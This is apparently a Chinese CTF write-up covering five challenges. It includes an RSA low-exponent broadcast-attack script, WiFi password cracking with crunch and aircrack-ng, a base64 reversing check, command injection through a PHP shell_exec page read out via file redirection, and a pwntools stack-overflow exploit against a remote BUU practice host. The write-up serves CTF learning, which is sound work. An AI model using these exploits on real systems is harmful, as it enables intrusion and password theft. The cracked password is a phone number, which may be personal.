crypto
babyRSA
这题的附件给了e=23,7组n和7组c,根据查询,这种类型的rsa叫做低指数加密广播攻击特征就是多组n,c而且e比较小,根据中国剩余定理解决
exp:
import gmpy2
from Crypto.Util.number import long_to_bytes
from sympy.ntheory.modular import crt
n1 = int('19838995731263023520234251077660165586757513827976065559606919623895003295467900236882491293213345859477186861948723857182574752102250689716730995801967723271252343711719479691129447809951363401417038024912418462877899745696670143880574200661574862750672358843441298366423330886090120156550757400073389772750235050813059840566862772202888531174358646861670198444259323643370977632188935370419348258125100021061652022045104032477266255654913071238089680611095310194891427899558764172709202452423455613229665886301824828550352360226203047784219067979050127084226144715609923905907448263255140299803965081558799173339401')
c1 = int('9872699008271553739716574064788486458370006576430878940309120674924890967298877736971813017598249504794542434131905971670100065835672578982572532357196372112403712992747941264215545359090491626781615693061784314280118970524388886297837995660644599342669396170336111747104595388865250354900069722287639484744701525655007192196417893763390516116536550948581777783291530105595773996226057026575907476791966675433217029125620180031829674901798337058431211987072183552001475209847341416488562938158170426895595731036946825733288663522092035641740676379827743885307027394055329911668428391544017541490370733144111521609532')
n2 = int('12018538342390417912126071928569121931216244081818651372352658444452762635272052150118357403727381612935221164596199646621273045192128595518954818213877137558021530085604917051258906980616454498105425647736746949437257280502086187295543903946161887685777476169841573190393067592541421043011396014775959059702294059965204755202333793653145678792215620511842223294569739948005612543782980973523597522467393885625886668833397495787230820073996781656512363593757154815483857353984097385554131765808496384179609959943021901812038242507446329109454200288366477788895237402866270293576425732892360948746354639066470783645717')
c2 = int('8411547340687769174948735283496259585749404380599737025115911362147461082788980569607436670035173618200205119486068838006831526566276456972895204857662157382448070043885103970674118075430596619985292191545285034610874802756134713177272768031055336997685660839413817630937760239545489531528857024468218619679319525222027916949609312264212776957178117823402345824541874309211375152979292139745809674445536532069715686977971474445201858429981061543142982636570331736973383872584367350976611511647165391729043947628577137182968788210818848504735830830041930426518145072836971734086109851888762054258162707801530411142602')
n3 = int('16039765828156067283838474165562890892921606851076577612991362982924047492480424217566156841726400558344864422131977832571235493383017180551666720485763083862256233435435660095940535809312185745276944324259722491081425458385576275568302304807227260112647826204072747847551844706630664267308804048439784988627194424557329768691906973579984863808125646890249543777954964467149197757815909609932448507426492510552380390438219391444894762300587374911500031890366809840138672217587217257030235397874041686808536680091916811730928754364110148462348673949257897975795677273048763907815443554141655471911045880619882300489537')
c3 = int('14293504408201979561010329235529672326289140124130223706731796741697808343026440589432580776831003785332079624996689035596640446552027941749732531163096583435239492514538462984639781837395346088565397520096936835148335016249801833322894140364740074990733225393792692245928751736168040433315708915520222941748795190327318476438059641624323276573155639056835683225015741236796807432476268667278693244276340758831507138423811480369749871188898761036346877544098814764695855158617671141049524085312661198529720255271287643971150543967059757660668608134142100631100190552855318948669808548897420482606072811592066588779774')
n4 = int('17762391416959071213907929292504564859770472958459412488550679582750359391035279093411765980845707036612891990284163587160285432894135039614436536978888163187494744139566764719316380526776416411993390710934678106397141709441125591730388428636313198266396520516804958432569751747537361143268604407623465176309255462040686002416762148174047898617566669157392847443238404420125523609915212799686722332195959960703492445838058786443228348691702557868793388129079830751587150305377243665744880717216570419193433629046376461117697344620725771862934327326490026426839046479335867562767353470676475547828375565383386293426111')
c4 = int('5190758855412708699462174108008824417998012568896202293657293943869074669486248004361531041652350187024205360838659650151172827363527854627064039545483960111624698129321981844549756899671933104804520568707672161507949468286376313723449301050664045758341937287481970393498116636479443080549076293540527009905804331284829594525660549299391913327168654314452678389835945587677930034667515463658222462849866723630146127728191212393852089255514575602699055358370948703296194931964197964277938204107865115672832070986405118095422957475017422681469992542554285142170104567603975994684412265218182288086771157424815997065765')
n5 = int('12383001225773561805861295886702777957447560131851817045054644557819923361738259031320514641332929704740993035252002723949935357050737691840374625064654055823938511605156185506332686468610393662285456082363064465377303356909206177657511819144790115360516152729782109832543461022704543812748721490593608337741621102311719581262439040338249685815959611597820576062833086283169263395436582703172585678410015199059409427226667221493038164003770426939696041916705235877416917231561135437779870249621551401041875983479855645861529229958905087070515959066048537669341629289375757910064390201694687492993494610422631973733857')
c5 = int('5102009916089650816524363692447196306812548114720682506956856870468744845844017782719928797266756444361533169455529255865788673792347420380216572076294637462156700453660527619326070031797773162060168314937500910169009867128887811436411151778349248908307624927664314199276703388242330047469953492061032080808054797064255692720003539453398376386220299647054892955486702041074734910458541506007849872507194754159030831240457212712613261411206293091761691635950336751823184997612638321726645016675315692705502557999564746914755223187938245223744701073690560344122139941797417638855246144758684435524759168175343562299703')
n6 = int('13045154050675669021324620074019204039337276460927311136976839007862093011453847514249732039975811670320360761026903873064801354619328954169951195457741063524798991376910880375440634043075219116753455231572012252918193449552393348698848725097652325463042867131634214978471377014125191591534580271552266043247419416259318410411146586413696296050734291872691557067456934860968617740222444687881415317055956754592948834945394901784173441023431138728266032959341996192508942513349547930541883893085504331641312922181344502880381627868459576524424922442298503467285607869425726972897905539386530104849230973842687894007203')
c6 = int('5753484887080017504073149159616221583701689256995618529076265869329996383530044971665458479962047438389828435513100578712159597071450650847453941627006945867603651188948765745079511373972196068735149577862950563386348197039504754607978366789600231026392660001266312268766216773317934541447697580621333708416894163255059623672351871463873340365591051143545856228881133622198815584892674186472747648758260392055191241834542974782706917916613875528011168321794899964716799069468387334926384890360687977998218171156081493497463606138445452564547321559445881903652190390060861383538082801820664271728877583913532588614362')
n7 = int('13164321395431735044984956412140469196161746365382549468807944185229044387297354171845954348775827533834627444288250241363386257897416796573128308385659681700779647354480663514495429780762276363347508254612555633612955978343542174559451338919861299232336094285858146505378934932176527806334027488510989951168627303550846755652184670414323080398008562263241215435663845217878546131662610916509053427363963109444373525081962974083121639865588180206165827442603371970318397182064428668292877275224119701466660869448689154913116605332850565830431659998625942845947782415871925343090289147523827330924463340855572397745361')
c7 = int('7861858462615052142020027671424182826546264390135467303709190450386131323147663769608712896833317778850214281651790819312447893865999175783138897728300320933377201855330002939495172290174665623569098562978702391995750071818901663053220232665267713523630542586596884033583508888845011647420962164967769178445442343382046753873268569062260014794517671328212099841286151028472002309656936230312775292346581793107226408289704785704539156482524787556460250380522043957093548212985882663938324800416924479266305715581307054100209557856671745796510444168410259525882414078778236777040170844913614097344279998705822772583547')
e = 23
n = [n1,n2,n3,n4,n5,n6,n7]
c = [c1,c2,c3,c4,c5,c6,c7]
resultant, mod = crt(n, c)
value, is_perfect = gmpy2.iroot(resultant, e)
print(long_to_bytes(value))
misc
想蹭网先解开密码
这题主要是学习crunch的使用方法,根据提示:要破解出3位中间星号的就可以得到flag了,使用crunch生成字典进行攻击
然后用aircrack-ng进行wifi密码破解,得到手机号13910407686。
re
强网先锋AD
先查壳发现给了一个elf文件,用ida看看
找到主调函数,发现一串字符跟两个等号就可以看出来是base64加密了,而且根据伪c也可以看出来,只要v4编码后等于v5即可输出你对了
没想到只加密了一层就解出flag了
Web
你听不到我的声音
代码审计
<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);
这题代码很简单,看上去就是传个cmd就可以拿到shell,但是这题的关键是shell_exec不会将结果直接输出,需要弄一个外带
根据查询,这题可以用流重定向符号解决
cmd=ls > 1
接着在URL后面输入/1就会下载文件,打开发现没有内容,就同样的方法查看根目录,在根目录下找到了flag,用同样的的方法读取flag即可
pwn
warmup_csaw_2016
拿到附件发现没有保护,放到ida看看
找到主调函数代码分析:调用两个write函数输出,然后sprintf函数利用%p将sub_40060函数地址打印出来放到s里面,然后由write函数打印出来,由于是64位所以write那是9
还发现了get函数存在栈溢出,用shift+F12查看是否存在有用信息
发现了get flag指令,所以exp里需要写为get flag
from pwn import *
r = remote('node3.buuoj.cn',29469)
offset = 0x40+8
payload = offset*'a' + p64(0x000400611)
r.sendline(payload)
r.interactive()